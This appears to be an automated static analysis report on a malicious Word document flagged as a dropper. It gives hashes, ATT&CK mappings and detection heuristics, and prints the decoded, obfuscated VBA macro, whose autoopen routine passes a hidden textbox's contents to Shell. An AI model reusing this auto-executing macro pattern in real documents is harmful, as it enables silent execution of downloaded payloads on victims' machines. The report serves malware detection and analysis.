Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 57389f57c491cda5…

MALICIOUS

Office (OLE)

72.1 KB Created: 2018-12-18 09:01:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: 4c360257be495d9683256bf1a954f0cb SHA-1: a2990fef493b091884d6832551a0ed60946ce898 SHA-256: 57389f57c491cda5be86bc426a1472f8c4d80505de5933cb19071eeee7cb32d8
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample contains a VBA macro with an autoopen subroutine that utilizes the Shell() function. This function is used to execute external commands, indicating the likely intent to download and execute a second-stage payload. The presence of the 'SC_STR_CMD' and 'OLE_VBA_SHELL' heuristics further supports this conclusion. The macro itself is obfuscated, but the use of Shell() is clear.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-7145768-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7145768-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    On Error Resume Next
CUChP = Array(oMBXVFGd, YzQGjL, fIjJmzm, Interaction.Shell(CleanString(kznGRdiSBc.TextBox1), 52 - 52), TJlPlG)
   Select Case PLRkOdDFvLqkOzFPq
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
XdMKiF
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 852 bytes
SHA-256: cd5145597e554e881d067d4c6685a34b5f858d4c9aa0f11d4674fb2efc5c8cf2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kznGRdiSBc"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
XdMKiF
End Sub

Attribute VB_Name = "lQomzkjAQsGj"
Function XdMKiF()
On Error Resume Next
CUChP = Array(oMBXVFGd, YzQGjL, fIjJmzm, Interaction.Shell(CleanString(kznGRdiSBc.TextBox1), 52 - 52), TJlPlG)
   Select Case PLRkOdDFvLqkOzFPq
            Case 160800626
            PiJwDiwnNUXmcTDb = 214000898
            IWCwhtQubnSkHMdNdhFNNBS = Oct(qlXYNQKYYVhBKTBQhJHIVd + CStr(LIPpWVTjHEMGvWsj + Log(70362852) - uLlfcCJfpfEuJUMYMQwb / Hex(264829309)))
      End Select
End Function

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